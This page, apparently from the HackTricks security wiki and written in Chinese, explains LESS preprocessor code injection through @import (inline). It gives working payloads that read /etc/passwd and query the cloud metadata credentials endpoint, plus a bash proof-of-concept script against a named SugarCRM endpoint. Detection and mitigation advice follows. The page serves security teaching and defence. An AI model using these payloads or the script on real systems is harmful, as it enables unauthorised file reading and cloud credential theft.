LESS 代码注入导致 SSRF 和本地文件读取

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

概述

LESS 是一种流行的 CSS 预处理器,添加了变量、混合、函数和强大的 @import 指令。在编译过程中,LESS 引擎将 获取 @import 语句中引用的资源,并在使用 (inline) 选项时将其内容嵌入(“内联”)到生成的 CSS 中。

当一个应用程序将 用户控制的输入 连接到一个字符串中,该字符串随后被 LESS 编译器解析时,攻击者可以 注入任意 LESS 代码。通过滥用 @import (inline),攻击者可以强迫服务器检索:

  • 通过 file:// 协议的本地文件(信息泄露 / 本地文件包含)。
  • 内部网络或云元数据服务上的远程资源(SSRF)。

这种技术已在现实世界的产品中出现,例如 SugarCRM ≤ 14.0.0/rest/v10/css/preview 端点)。

利用

  1. 识别一个直接嵌入在 LESS 引擎处理的样式表字符串中的参数(例如,SugarCRM 中的 ?lm=)。
  2. 关闭当前语句并注入新指令。最常见的原语是:
  • ; – 终止前一个声明。
  • } – 关闭前一个块(如果需要)。
  1. 使用 @import (inline) '<URL>'; 读取任意资源。
  2. 可选地在导入后注入一个 标记data: URI),以便于从编译的 CSS 中提取获取的内容。

本地文件读取

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

/etc/passwd 的内容将在 HTTP 响应中出现在 @@END@@ 标记之前。

SSRF – 云元数据

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

自动化 PoC (SugarCRM 示例)

bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

检测

  • 寻找包含未清理查询参数的动态生成的 .less.css 响应。
  • 在代码审查中,搜索传递给 LESS 渲染函数的构造,如 "@media all { .preview { ... ${userInput} ... } }"
  • 利用尝试通常包括 @import(inline)file://http://169.254.169.254 等。

缓解措施

  • 不要 将不可信的数据传递给 LESS 编译器。
  • 如果需要动态值,正确地 转义/清理它们(例如,限制为数字标记,白名单)。
  • 尽可能禁用使用 (inline) 导入的能力,或将允许的协议限制为 https
  • 保持依赖项更新 – SugarCRM 在版本 13.0.4 和 14.0.1 中修复了此问题。

现实案例

产品漏洞端点影响
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=未经身份验证的 SSRF 和本地文件读取

参考

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks